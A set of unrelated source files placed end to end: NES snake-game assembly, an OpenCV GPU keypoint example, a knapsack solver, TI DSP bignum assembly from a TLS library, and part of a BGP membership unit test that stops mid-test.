┌─────────┬─────────┬────────┬────────┬─────────┐ ; │ / Next │ Up │ Down │ Left │ Right │ ; │ Current │ │ │ │ │ ; ├─────────┼─────────┼────────┼────────┼─────────┤ ; │ Up │ T$20 │ -- │ T$12 │ T$12 H │ ; │ Down │ -- │ T$20 V │ T$12 V │ T$12 HV │ ; │ Left │ T$12 HV │ T$12 H │ T$21 │ -- │ ; │ Right │ T$12 V │ T$12 │ -- │ T$21 H │ ; └─────────┴─────────┴────────┴────────┴─────────┘ ; ChooseNextBodyTile: LDA ptr_SNAKE_DIR_CUR ; The simplest scenario is travelling in a straight line CMP ptr_SNAKE_DIR_NXT BNE NextTileTurn NextTileStraight: CMP #01 BEQ NextTileStraight_Up CMP #02 BEQ NextTileStraight_Down CMP #03 BEQ NextTileStraight_Left CMP #04 BEQ NextTileStraight_Right NextTileStraight_Up: LDA #$20 ; Use the Up-Down Snake Body STA ptr_SNAKE_TSSD_TILE LDA #%00000000 ; Turn body upward STA ptr_SNAKE_TSSD_ATTR RTS ; Return from sub-routine NextTileStraight_Down: LDA #$20 ; Use the Up-Down Snake Body STA ptr_SNAKE_TSSD_TILE LDA #%10001000 ; Turn body downward STA ptr_SNAKE_TSSD_ATTR RTS ; Return from sub-routine NextTileStraight_Left: LDA #$21 ; Use the Left-Right Snake Body STA ptr_SNAKE_TSSD_TILE LDA #%00010000 ; Turn body leftward STA ptr_SNAKE_TSSD_ATTR RTS ; Return from sub-routine NextTileStraight_Right: LDA #$21 ; Use the Left-Right Snake Body STA ptr_SNAKE_TSSD_TILE LDA #%01011000 ; Turn body rightward STA ptr_SNAKE_TSSD_ATTR RTS ; Return from sub-routine NextTileTurn: LDA #$12 ; All of our turns use the same tile. The real complexity comes in knowing how to flip it. STA ptr_SNAKE_TSSD_TILE LDA ptr_SNAKE_DIR_NXT ; Get the next direction CMP #01 BEQ NextTileTurn_ToUp CMP #02 BEQ NextTileTurn_ToDown CMP #03 BEQ NextTileTurn_ToLeft CMP #04 BEQ NextTileTurn_ToRight NextTileTurn_ToUp: LDA #%00000000 LDY ptr_SNAKE_DIR_CUR ; Get the next direction CPY #03 BEQ NextTileTurn_LeftToUp CPY #04 BEQ NextTileTurn_RightToUp NextTileTurn_ToDown: LDA #%00001000 LDY ptr_SNAKE_DIR_CUR ; Get the next direction CPY #03 BEQ NextTileTurn_LeftToDown CPY #04 BEQ NextTileTurn_RightToDown NextTileTurn_ToLeft: LDA #%00010000 LDY ptr_SNAKE_DIR_CUR ; Get the next direction CPY #01 BEQ NextTileTurn_UpToLeft CPY #02 BEQ NextTileTurn_DownToLeft NextTileTurn_ToRight: LDA #%00011000 LDY ptr_SNAKE_DIR_CUR ; Get the next direction CPY #01 BEQ NextTileTurn_UpToRight CPY #02 BEQ NextTileTurn_DownToRight NextTileTurn_UpToLeft: NextTileTurn_RightToDown: ORA #%00000000 JMP NextTileTurnDone NextTileTurn_UpToRight: NextTileTurn_LeftToDown: ORA #%01000000 JMP NextTileTurnDone NextTileTurn_DownToLeft: NextTileTurn_RightToUp: ORA #%10000000 JMP NextTileTurnDone NextTileTurn_DownToRight: NextTileTurn_LeftToUp: ORA #%11000000 JMP NextTileTurnDone NextTileTurnDone: STA ptr_SNAKE_TSSD_ATTR RTS ; Return from sub-routine ; ---------------------------------------------------------------------------------------------------------------------- ; ---------------------------------------------------------------------------------------------------------------------- ; UPDATE SCORE ; Print the score on the bottom right corner of the screen UpdateScore: INC ptr_SCORE LDA ptr_SCORE PHA AND #%00001111 CLC ADC #$40 STA ptr_SCORE2_TILE PLA AND #%11110000 LSR A LSR A LSR A LSR A CLC ADC #$40 STA ptr_SCORE1_TILE RTS ; Return from sub-routine ; ---------------------------------------------------------------------------------------------------------------------- .bank 1 .org $E000 palette: .db $0F,$31,$32,$33 ; background palette (00) .db $0F,$35,$36,$37 ; background palette (01) .db $0F,$39,$3A,$3B ; background palette (10) .db $0F,$3D,$3E,$0F ; background palette (11) .db $0F,$31,$06,$0C ; snake palette (00) .db $0F,$29,$16,$18 ; apple palette (01) .db $0F,$1C,$15,$14 ; foreground palette (10) .db $0F,$02,$38,$3C ; foreground palette (11) sprites: ;vert tile attr horiz .db $80, $01, %00000001, $80 ; Apple .db $68, $10, %00000000, $80 ; Snake Head .db $70, $20, %00000000, $80 ; Snake Body .db $78, $30, %00000000, $80 ; Snake Tail .org $FFFA ; first of the three vectors starts here .dw NMI ; when an NMI happens (once per frame if enabled) the ; processor will jump to the label NMI: .dw RESET ; when the processor first turns on or is reset, it will jump ; to the label RESET: .dw 0 ; external interrupt IRQ is not used in this tutorial ;;;;;;;;;;;;;; .bank 2 .org $0000 .incbin "snake.chr" ; includes 8KB graphics file from SMB1
#include <iostream> #include "opencv2/opencv.hpp" using namespace cv; using namespace std; int main() { Mat h_image = imread( "images/drawing.JPG", 0 ); cv::Ptr<cv::cuda::ORB> detector = cv::cuda::ORB::create(); std::vector<cv::KeyPoint> keypoints; cv::cuda::GpuMat d_image; d_image.upload(h_image); detector->detect(d_image, keypoints); cv::drawKeypoints(h_image,keypoints,h_image); imshow("Final Result", h_image ); waitKey(0); return 0; }
#include <stdio.h> #include <iostream> using namespace std; int max(int a, int b) { return (a > b)? a : b; } int knapsack(int W, int wt[], int val[], int n) { int i, w; int K[n+1][W+1]; for (i = 0; i <= n; i++) { for (w = 0; w <= W; w++) { if (i==0 || w==0) K[i][w] = 0; else if (wt[i-1] <= w) K[i][w] = max(val[i-1] + K[i-1][w-wt[i-1]], K[i-1][w]); else K[i][w] = K[i-1][w]; } } return K[n][W]; } int main() { int W, n, test=1; cin >> W >> n; while (W + n != 0) { int wt[n], val[n]; for (int i = 0; i < n; i++) { int x, y; cin >> x >> y; wt[i] = x; val[i] = y; } cout << "Teste " << test << endl; printf("%d", knapsack(W, wt, val, n)); cout << endl << endl; cin >> W >> n; test++; } return 0; }
;; Copyright 2012-2016 The Opentls Project Authors. All Rights Reserved. ;; ;; Licensed under the Apache License 2.0 (the "License"). You may not use ;; this file except in compliance with the License. You can obtain a copy ;; in the file LICENSE in the source distribution or at ;; https://www.opentls.org/source/license.html ;; ;;==================================================================== ;; Written by Andy Polyakov <appro@opentls.org> for the Opentls ;; project. ;; ;; Rights for redistribution and usage in source and binary forms are ;; granted according to the License. Warranty of any kind is disclaimed. ;;==================================================================== ;; Compiler-generated multiply-n-add SPLOOP runs at 12*n cycles, n ;; being the number of 32-bit words, addition - 8*n. Corresponding 4x ;; unrolled SPLOOP-free loops - at ~8*n and ~5*n. Below assembler ;; SPLOOPs spin at ... 2*n cycles [plus epilogue]. ;;==================================================================== .text .if .ASSEMBLER_VERSION<7000000 .asg 0,__TI_EABI__ .endif .if __TI_EABI__ .asg bn_mul_add_words,_bn_mul_add_words .asg bn_mul_words,_bn_mul_words .asg bn_sqr_words,_bn_sqr_words .asg bn_add_words,_bn_add_words .asg bn_sub_words,_bn_sub_words .asg bn_div_words,_bn_div_words .asg bn_sqr_comba8,_bn_sqr_comba8 .asg bn_mul_comba8,_bn_mul_comba8 .asg bn_sqr_comba4,_bn_sqr_comba4 .asg bn_mul_comba4,_bn_mul_comba4 .endif .asg B3,RA .asg A4,ARG0 .asg B4,ARG1 .asg A6,ARG2 .asg B6,ARG3 .asg A8,ARG4 .asg B8,ARG5 .asg A4,RET .asg A15,FP .asg B14,DP .asg B15,SP .global _bn_mul_add_words _bn_mul_add_words: .asmfunc MV ARG2,B0 [!B0] BNOP RA ||[!B0] MVK 0,RET [B0] MVC B0,ILC [B0] ZERO A19 ; high part of accumulator || [B0] MV ARG0,A2 || [B0] MV ARG3,A3 NOP 3 SPLOOP 2 ; 2*n+10 ;;==================================================================== LDW *ARG1++,B7 ; ap[i] NOP 3 LDW *ARG0++,A7 ; rp[i] MPY32U B7,A3,A17:A16 NOP 3 ; [2,0] in epilogue ADDU A16,A7,A21:A20 ADDU A19,A21:A20,A19:A18 || MV.S A17,A23 SPKERNEL 2,1 ; leave slot for "return value" || STW A18,*A2++ ; rp[i] || ADD A19,A23,A19 ;;==================================================================== BNOP RA,4 MV A19,RET ; return value .endasmfunc .global _bn_mul_words _bn_mul_words: .asmfunc MV ARG2,B0 [!B0] BNOP RA ||[!B0] MVK 0,RET [B0] MVC B0,ILC [B0] ZERO A19 ; high part of accumulator NOP 3 SPLOOP 2 ; 2*n+10 ;;==================================================================== LDW *ARG1++,A7 ; ap[i] NOP 4 MPY32U A7,ARG3,A17:A16 NOP 4 ; [2,0] in epiloque ADDU A19,A16,A19:A18 || MV.S A17,A21 SPKERNEL 2,1 ; leave slot for "return value" || STW A18,*ARG0++ ; rp[i] || ADD.L A19,A21,A19 ;;==================================================================== BNOP RA,4 MV A19,RET ; return value .endasmfunc .global _bn_sqr_words _bn_sqr_words: .asmfunc MV ARG2,B0 [!B0] BNOP RA ||[!B0] MVK 0,RET [B0] MVC B0,ILC [B0] MV ARG0,B2 || [B0] ADD 4,ARG0,ARG0 NOP 3 SPLOOP 2 ; 2*n+10 ;;==================================================================== LDW *ARG1++,B7 ; ap[i] NOP 4 MPY32U B7,B7,B1:B0 NOP 3 ; [2,0] in epilogue STW B0,*B2++(8) ; rp[2*i] MV B1,A1 SPKERNEL 2,0 ; fully overlap BNOP RA,5 || STW A1,*ARG0++(8) ; rp[2*i+1] ;;==================================================================== BNOP RA,5 .endasmfunc .global _bn_add_words _bn_add_words: .asmfunc MV ARG3,B0 [!B0] BNOP RA ||[!B0] MVK 0,RET [B0] MVC B0,ILC [B0] ZERO A1 ; carry flag || [B0] MV ARG0,A3 NOP 3 SPLOOP 2 ; 2*n+6 ;;==================================================================== LDW *ARG2++,A7 ; bp[i] || LDW *ARG1++,B7 ; ap[i] NOP 4 ADDU A7,B7,A9:A8 ADDU A1,A9:A8,A1:A0 SPKERNEL 0,0 ; fully overlap BNOP RA,5 || STW A0,*A3++ ; write result || MV A1,RET ; keep carry flag in RET ;;==================================================================== BNOP RA,5 .endasmfunc .global _bn_sub_words _bn_sub_words: .asmfunc MV ARG3,B0 [!B0] BNOP RA ||[!B0] MVK 0,RET [B0] MVC B0,ILC [B0] ZERO A2 ; borrow flag || [B0] MV ARG0,A3 NOP 3 SPLOOP 2 ; 2*n+6 ;;==================================================================== LDW *ARG2++,A7 ; bp[i] || LDW *ARG1++,B7 ; ap[i] NOP 4 SUBU B7,A7,A1:A0 [A2] SUB A1:A0,1,A1:A0 SPKERNEL 0,1 ; leave slot for "return borrow flag" || STW A0,*A3++ ; write result || AND 1,A1,A2 ; pass on borrow flag ;;==================================================================== BNOP RA,4 AND 1,A1,RET ; return borrow flag .endasmfunc .global _bn_div_words _bn_div_words: .asmfunc LMBD 1,A6,A0 ; leading zero bits in dv LMBD 1,A4,A1 ; leading zero bits in hi || MVK 32,B0 CMPLTU A1,A0,A2 || ADD A0,B0,B0 [ A2] BNOP RA ||[ A2] MVK -1,A4 ; return overflow ||[!A2] MV A4,A3 ; reassign hi [!A2] MV B4,A4 ; reassign lo, will be quotient ||[!A2] MVC B0,ILC [!A2] SHL A6,A0,A6 ; normalize dv || MVK 1,A1 [!A2] CMPLTU A3,A6,A1 ; hi<dv? ||[!A2] SHL A4,1,A5:A4 ; lo<<1 [!A1] SUB A3,A6,A3 ; hi-=dv ||[!A1] OR 1,A4,A4 [!A2] SHRU A3,31,A1 ; upper bit ||[!A2] ADDAH A5,A3,A3 ; hi<<1|lo>>31 SPLOOP 3 [!A1] CMPLTU A3,A6,A1 ; hi<dv? ||[ A1] ZERO A1 || SHL A4,1,A5:A4 ; lo<<1 [!A1] SUB A3,A6,A3 ; hi-=dv ||[!A1] OR 1,A4,A4 ; quotient SHRU A3,31,A1 ; upper bit || ADDAH A5,A3,A3 ; hi<<1|lo>>31 SPKERNEL BNOP RA,5 .endasmfunc ;;==================================================================== ;; Not really Comba algorithm, just straightforward NxM... Dedicated ;; fully unrolled real Comba implementations are asymptotically 2x ;; faster, but naturally larger undertaking. Purpose of this exercise ;; was rather to learn to master nested SPLOOPs... ;;==================================================================== .global _bn_sqr_comba8 .global _bn_mul_comba8 _bn_sqr_comba8: MV ARG1,ARG2 _bn_mul_comba8: .asmfunc MVK 8,B0 ; N, RILC || MVK 8,A0 ; M, outer loop counter || MV ARG1,A5 ; copy ap || MV ARG0,B4 ; copy rp || ZERO B19 ; high part of accumulator MVC B0,RILC || SUB B0,2,B1 ; N-2, initial ILC || SUB B0,1,B2 ; const B2=N-1 || LDW *A5++,B6 ; ap[0] || MV A0,A3 ; const A3=M sploopNxM?: ; for best performance arrange M<=N [A0] SPLOOPD 2 ; 2*n+10 || MVC B1,ILC || ADDAW B4,B0,B5 || ZERO B7 || LDW *A5++,A9 ; pre-fetch ap[1] || ZERO A1 || SUB A0,1,A0 ;;==================================================================== ;; SPLOOP from bn_mul_add_words, but with flipped A<>B register files. ;; This is because of Advisory 15 from TI publication SPRZ247I. LDW *ARG2++,A7 ; bp[i] NOP 3 [A1] LDW *B5++,B7 ; rp[i] MPY32U A7,B6,B17:B16 NOP 3 ADDU B16,B7,B21:B20 ADDU B19,B21:B20,B19:B18 || MV.S B17,B23 SPKERNEL || STW B18,*B4++ ; rp[i] || ADD.S B19,B23,B19 ;;==================================================================== outer?: ; m*2*(n+1)+10 SUBAW ARG2,A3,ARG2 ; rewind bp to bp[0] SPMASKR || CMPGT A0,1,A2 ; done pre-fetching ap[i+1]? MVD A9,B6 ; move through .M unit(*) [A2] LDW *A5++,A9 ; pre-fetch ap[i+1] SUBAW B5,B2,B5 ; rewind rp to rp[1] MVK 1,A1 [A0] BNOP.S1 outer?,4 || [A0] SUB.L A0,1,A0 STW B19,*B4--[B2] ; rewind rp tp rp[1] || ZERO.S B19 ; high part of accumulator ;; end of outer? BNOP RA,5 ; return .endasmfunc ;; (*) It should be noted that B6 is used as input to MPY32U in ;; chronologically next cycle in *preceding* SPLOOP iteration. ;; Normally such arrangement would require DINT, but at this ;; point SPLOOP is draining and interrupts are disabled ;; implicitly. .global _bn_sqr_comba4 .global _bn_mul_comba4 _bn_sqr_comba4: MV ARG1,ARG2 _bn_mul_comba4: .asmfunc .if 0 BNOP sploopNxM?,3 ;; Above mentioned m*2*(n+1)+10 does not apply in n=m=4 case, ;; because of low-counter effect, when prologue phase finishes ;; before SPKERNEL instruction is reached. As result it's 25% ;; slower than expected... MVK 4,B0 ; N, RILC || MVK 4,A0 ; M, outer loop counter || MV ARG1,A5 ; copy ap || MV ARG0,B4 ; copy rp || ZERO B19 ; high part of accumulator MVC B0,RILC || SUB B0,2,B1 ; first ILC || SUB B0,1,B2 ; const B2=N-1 || LDW *A5++,B6 ; ap[0] || MV A0,A3 ; const A3=M .else ;; This alternative is an exercise in fully unrolled Comba ;; algorithm implementation that operates at n*(n+1)+12, or ;; as little as 32 cycles... LDW *ARG1[0],B16 ; a[0] || LDW *ARG2[0],A16 ; b[0] LDW *ARG1[1],B17 ; a[1] || LDW *ARG2[1],A17 ; b[1] LDW *ARG1[2],B18 ; a[2] || LDW *ARG2[2],A18 ; b[2] LDW *ARG1[3],B19 ; a[3] || LDW *ARG2[3],A19 ; b[3] NOP MPY32U A16,B16,A1:A0 ; a[0]*b[0] MPY32U A17,B16,A23:A22 ; a[0]*b[1] MPY32U A16,B17,A25:A24 ; a[1]*b[0] MPY32U A16,B18,A27:A26 ; a[2]*b[0] STW A0,*ARG0[0] || MPY32U A17,B17,A29:A28 ; a[1]*b[1] MPY32U A18,B16,A31:A30 ; a[0]*b[2] || ADDU A22,A1,A1:A0 MV A23,B0 || MPY32U A19,B16,A21:A20 ; a[3]*b[0] || ADDU A24,A1:A0,A1:A0 ADDU A25,B0,B1:B0 || STW A0,*ARG0[1] || MPY32U A18,B17,A23:A22 ; a[2]*b[1] || ADDU A26,A1,A9:A8 ADDU A27,B1,B9:B8 || MPY32U A17,B18,A25:A24 ; a[1]*b[2] || ADDU A28,A9:A8,A9:A8 ADDU A29,B9:B8,B9:B8 || MPY32U A16,B19,A27:A26 ; a[0]*b[3] || ADDU A30,A9:A8,A9:A8 ADDU A31,B9:B8,B9:B8 || ADDU B0,A9:A8,A9:A8 STW A8,*ARG0[2] || ADDU A20,A9,A1:A0 ADDU A21,B9,B1:B0 || MPY32U A19,B17,A21:A20 ; a[3]*b[1] || ADDU A22,A1:A0,A1:A0 ADDU A23,B1:B0,B1:B0 || MPY32U A18,B18,A23:A22 ; a[2]*b[2] || ADDU A24,A1:A0,A1:A0 ADDU A25,B1:B0,B1:B0 || MPY32U A17,B19,A25:A24 ; a[1]*b[3] || ADDU A26,A1:A0,A1:A0 ADDU A27,B1:B0,B1:B0 || ADDU B8,A1:A0,A1:A0 STW A0,*ARG0[3] || MPY32U A19,B18,A27:A26 ; a[3]*b[2] || ADDU A20,A1,A9:A8 ADDU A21,B1,B9:B8 || MPY32U A18,B19,A29:A28 ; a[2]*b[3] || ADDU A22,A9:A8,A9:A8 ADDU A23,B9:B8,B9:B8 || MPY32U A19,B19,A31:A30 ; a[3]*b[3] || ADDU A24,A9:A8,A9:A8 ADDU A25,B9:B8,B9:B8 || ADDU B0,A9:A8,A9:A8 STW A8,*ARG0[4] || ADDU A26,A9,A1:A0 ADDU A27,B9,B1:B0 || ADDU A28,A1:A0,A1:A0 ADDU A29,B1:B0,B1:B0 || BNOP RA || ADDU B8,A1:A0,A1:A0 STW A0,*ARG0[5] || ADDU A30,A1,A9:A8 ADD A31,B1,B8 ADDU B0,A9:A8,A9:A8 ; removed || to avoid cross-path stall below ADD B8,A9,A9 || STW A8,*ARG0[6] STW A9,*ARG0[7] .endif .endasmfunc
/* * Copyright (c) 2016 Juniper Networks, Inc. All rights reserved. */ #include <boost/scoped_ptr.hpp> #include <boost/uuid/random_generator.hpp> #include <tbb/atomic.h> #include "base/task_annotations.h" #include "control-node/control_node.h" #include "bgp/inet/inet_table.h" #include "bgp/bgp_config_ifmap.h" #include "bgp/bgp_factory.h" #include "bgp/bgp_membership.h" #include "bgp/bgp_session_manager.h" #include "bgp/test/bgp_server_test_util.h" #include "db/db_partition.h" using boost::scoped_ptr; using std::ostringstream; using std::string; using std::vector; using tbb::atomic; static int gbl_index; class BgpTestPeer : public BgpPeer { public: BgpTestPeer(BgpServer *server, RoutingInstance *instance, const BgpNeighborConfig *config) : BgpPeer(server, instance, config), policy_(BgpProto::IBGP, RibExportPolicy::BGP, -1, 0), index_(gbl_index++) { path_cb_count_ = 0; ostringstream repr; repr << "Peer" << index_; to_str_ = repr.str(); } virtual ~BgpTestPeer() { } virtual const string &ToString() const { return to_str_; } virtual bool SendUpdate(const uint8_t *msg, size_t msgsize) { return true; } virtual bool IsReady() const { return true; } BgpProto::BgpPeerType PeerType() const { return BgpProto::IBGP; } virtual uint32_t bgp_identifier() const { return 0; } RibExportPolicy GetRibExportPolicy() { return policy_; } void MembershipRequestCallback(BgpTable *table) { } bool MembershipPathCallback(DBTablePartBase *tpart, BgpRoute *route, BgpPath *path) { path_cb_count_++; return false; } void set_affinity(int affinity) { policy_ = RibExportPolicy(BgpProto::IBGP, RibExportPolicy::BGP, affinity, 0); } uint64_t path_cb_count() const { return path_cb_count_; } virtual bool IsInGRTimerWaitState() const { return false; } void TriggerPrefixLimitCheck() const { } private: RibExportPolicy policy_; int index_; atomic<uint64_t> path_cb_count_; std::string to_str_; }; class BgpMembershipTest : public ::testing::Test { protected: virtual void SetUp() { gbl_index = 0; evm_.reset(new EventManager()); server_.reset(new BgpServerTest(evm_.get(), "Local")); server_->session_manager()->Initialize(0); mgr_ = server_->membership_mgr(); walker_ = mgr_->walker(); ConcurrencyScope scope("bgp::Config"); RoutingInstance *rtinstance = NULL; // Get default routing instance. rtinstance = server_->routing_instance_mgr()->GetDefaultRoutingInstance(); assert(rtinstance); inet_tbl_ = rtinstance->GetTable(Address::INET); vpn_tbl_ = rtinstance->GetTable(Address::INETVPN); // Create red routing instance. BgpInstanceConfig red_config("red"); rtinstance = server_->routing_instance_mgr()->CreateRoutingInstance( &red_config); red_tbl_ = rtinstance->GetTable(Address::INET); // Create gray routing instance. BgpInstanceConfig gray_config("gray"); rtinstance = server_->routing_instance_mgr()->CreateRoutingInstance( &gray_config); gray_tbl_ = rtinstance->GetTable(Address::INET); // Create blue routing instance. BgpInstanceConfig blue_config("blue"); rtinstance = server_->routing_instance_mgr()->CreateRoutingInstance( &blue_config); blue_tbl_ = rtinstance->GetTable(Address::INET); CreatePeers(); task_util::WaitForIdle(); } void CreatePeers() { RoutingInstance *rtinstance = server_->routing_instance_mgr()->GetRoutingInstance( BgpConfigManager::kMasterInstance); for (int idx = 0; idx < 3; idx++) { ostringstream out; out << "A" << idx; BgpNeighborConfig *config = new BgpNeighborConfig(); config->set_instance_name(rtinstance->name()); config->set_name(out.str()); boost::uuids::random_generator gen; config->set_uuid(UuidToString(gen())); BgpTestPeer *peer = static_cast<BgpTestPeer *>( rtinstance->peer_manager()->PeerLocate(server_.get(), config)); peers_.push_back(peer); peer_configs_.push_back(config); peer_names_.push_back(out.str()); } } void UpdatePeers() { for (int idx = 0; idx < 3; idx++) { peers_[idx]->set_affinity(idx); } } virtual void TearDown() { task_util::WaitForIdle(); server_->Shutdown(); TASK_UTIL_ASSERT_EQ(0, server_->routing_instance_mgr()->count()); evm_->Shutdown(); task_util::WaitForIdle(); STLDeleteValues(&peer_configs_); task_util::WaitForIdle(); } string BuildPrefix(int index) const { assert(index <= 65535); string byte3 = integerToString(index / 256); string byte4 = integerToString(index % 256); string prefix("10.1."); uint8_t plen = Address::kMaxV4PrefixLen; return prefix + byte3 + "." + byte4 + "/" + integerToString(plen); } void Register(BgpTestPeer *peer, BgpTable *table) { task_util::TaskFire( boost::bind(&BgpMembershipManager::Register, mgr_, peer, table, peer->GetRibExportPolicy(), -1), "bgp::StateMachine"); } void RegisterRibIn(BgpTestPeer *peer, BgpTable *table) { task_util::TaskFire(boost::bind(&BgpMembershipManager::RegisterRibIn, mgr_, peer, table), "bgp::StateMachine"); } void Unregister(BgpTestPeer *peer, BgpTable *table) { task_util::TaskFire(boost::bind(&BgpMembershipManager::Unregister, mgr_, peer, table), "bgp::StateMachine"); } void UnregisterRibIn(BgpTestPeer *peer, BgpTable *table) { task_util::TaskFire(boost::bind(&BgpMembershipManager::UnregisterRibIn, mgr_, peer, table), "bgp::StateMachine"); } void UnregisterRibOut(BgpTestPeer *peer, BgpTable *table) { task_util::TaskFire(boost::bind(&BgpMembershipManager::UnregisterRibOut, mgr_, peer, table), "bgp::StateMachine"); } void WalkRibIn(BgpTestPeer *peer, BgpTable *table) { task_util::TaskFire(boost::bind(&BgpMembershipManager::WalkRibIn, mgr_, peer, table), "bgp::StateMachine"); } void AddRoute(BgpTestPeer *peer, BgpTable *table, const string &prefix_str, const string &nexthop_str) { boost::system::error_code ec; Ip4Prefix prefix = Ip4Prefix::FromString(prefix_str, &ec); EXPECT_FALSE(ec); DBRequest request; request.oper = DBRequest::DB_ENTRY_ADD_CHANGE; request.key.reset(new InetTable::RequestKey(prefix, peer)); BgpAttrSpec attr_spec; BgpAttrOrigin origin_spec(BgpAttrOrigin::INCOMPLETE); attr_spec.push_back(&origin_spec); BgpAttrLocalPref local_pref(100); attr_spec.push_back(&local_pref); IpAddress nh_addr = IpAddress::from_string(nexthop_str, ec); EXPECT_FALSE(ec); BgpAttrNextHop nh_spec(nh_addr); attr_spec.push_back(&nh_spec); BgpAttrPtr attr = server_->attr_db()->Locate(attr_spec); request.data.reset(new InetTable::RequestData(attr, 0, 0)); table->Enqueue(&request); } void DeleteRoute(BgpTestPeer *peer, BgpTable *table, const string &prefix_str) { boost::system::error_code ec; Ip4Prefix prefix = Ip4Prefix::FromString(prefix_str, &ec); EXPECT_FALSE(ec); DBRequest request; request.oper = DBRequest::DB_ENTRY_DELETE; request.key.reset(new InetTable::RequestKey(prefix, peer)); table->Enqueue(&request); } void SetQueueDisable(bool value) { task_util::TaskFire( boost::bind(&BgpMembershipManager::SetQueueDisable, mgr_, value), "bgp::Config"); } void SetWalkerDisable(bool value) { task_util::TaskFire( boost::bind(&BgpMembershipManager::Walker::SetQueueDisable, walker_, value), "bgp::Config"); } bool IsWalkerQueueEmpty() { return walker_->IsQueueEmpty(); } size_t GetWalkerQueueSize() { return walker_->GetQueueSize(); } size_t GetWalkerPeerListSize() { return walker_->GetPeerListSize(); } size_t GetWalkerPeerRibListSize() { return walker_->GetPeerRibListSize(); } size_t GetWalkerRibOutStateListSize() { return walker_->GetRibOutStateListSize(); } void WalkerPostponeWalk() { task_util::TaskFire( boost::bind(&BgpMembershipManager::Walker::PostponeWalk, walker_), "bgp::Config"); } void WalkerResumeWalk() { task_util::TaskFire( boost::bind(&BgpMembershipManager::Walker::ResumeWalk, walker_), "bgp::Config"); } BgpMembershipManager *mgr_; BgpMembershipManager::Walker *walker_; scoped_ptr<EventManager> evm_; scoped_ptr<BgpServerTest> server_; vector<BgpTestPeer *> peers_; vector<BgpNeighborConfig *> peer_configs_; vector<string> peer_names_; BgpTable *inet_tbl_; BgpTable *vpn_tbl_; BgpTable *red_tbl_, *gray_tbl_, *blue_tbl_; }; // // Verify register and unregister for 1 single peer to single table. // TEST_F(BgpMembershipTest, Basic) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); // Register to blue. Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); // Unregister from blue. Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); } // // Verify register and unregister for 1 single peer to multiple tables. // Registration and unregistration requests to both tables are made together. // TEST_F(BgpMembershipTest, MultipleTables1) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); uint64_t red_walk_count = red_tbl_->walk_complete_count(); Register(peers_[0], blue_tbl_); Register(peers_[0], red_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], red_tbl_)); TASK_UTIL_EXPECT_EQ(2, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(red_walk_count + 1, red_tbl_->walk_complete_count()); Unregister(peers_[0], blue_tbl_); Unregister(peers_[0], red_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], red_tbl_)); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); TASK_UTIL_EXPECT_EQ(red_walk_count + 2, red_tbl_->walk_complete_count()); } // // Verify register and unregister for 1 single peer to multiple tables. // Registration and unregistration requests to both tables are made separately. // TEST_F(BgpMembershipTest, MultipleTables2) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); uint64_t red_walk_count = red_tbl_->walk_complete_count(); Register(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 1, blue_tbl_->walk_complete_count()); Register(peers_[0], red_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], red_tbl_)); TASK_UTIL_EXPECT_EQ(2, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(red_walk_count + 1, red_tbl_->walk_complete_count()); Unregister(peers_[0], blue_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_EQ(1, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(blue_walk_count + 2, blue_tbl_->walk_complete_count()); Unregister(peers_[0], red_tbl_); task_util::WaitForIdle(); TASK_UTIL_EXPECT_FALSE(mgr_->GetRegistrationInfo(peers_[0], red_tbl_)); TASK_UTIL_EXPECT_EQ(0, mgr_->GetMembershipCount()); TASK_UTIL_EXPECT_EQ(red_walk_count + 2, red_tbl_->walk_complete_count()); } // // Verify register and unregister for 1 single peer to multiple tables. // Registration and unregistration requests to all tables are made when the // walker is disabled. Exercise the case where all requests are queued in the // walker and it needs to schedule one walk after another, without any new // external triggers other than notification from table walk infrastructure. // TEST_F(BgpMembershipTest, MultipleTables3) { uint64_t blue_walk_count = blue_tbl_->walk_complete_count(); uint64_t red_walk_count = red_tbl_->walk_complete_count(); uint64_t gray_walk_count = gray_tbl_->walk_complete_count(); // Disable walker. SetWalkerDisable(true); Register(peers_[0], blue_tbl_); Register(peers_[0], red_tbl_); Register(peers_[0], gray_tbl_); task_util::WaitForIdle(); // Enable walker. SetWalkerDisable(false); task_util::WaitForIdle(); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], blue_tbl_)); TASK_UTIL_EXPECT_TRUE(mgr_->GetRegistrationInfo(peers_[0], red_tbl_)); 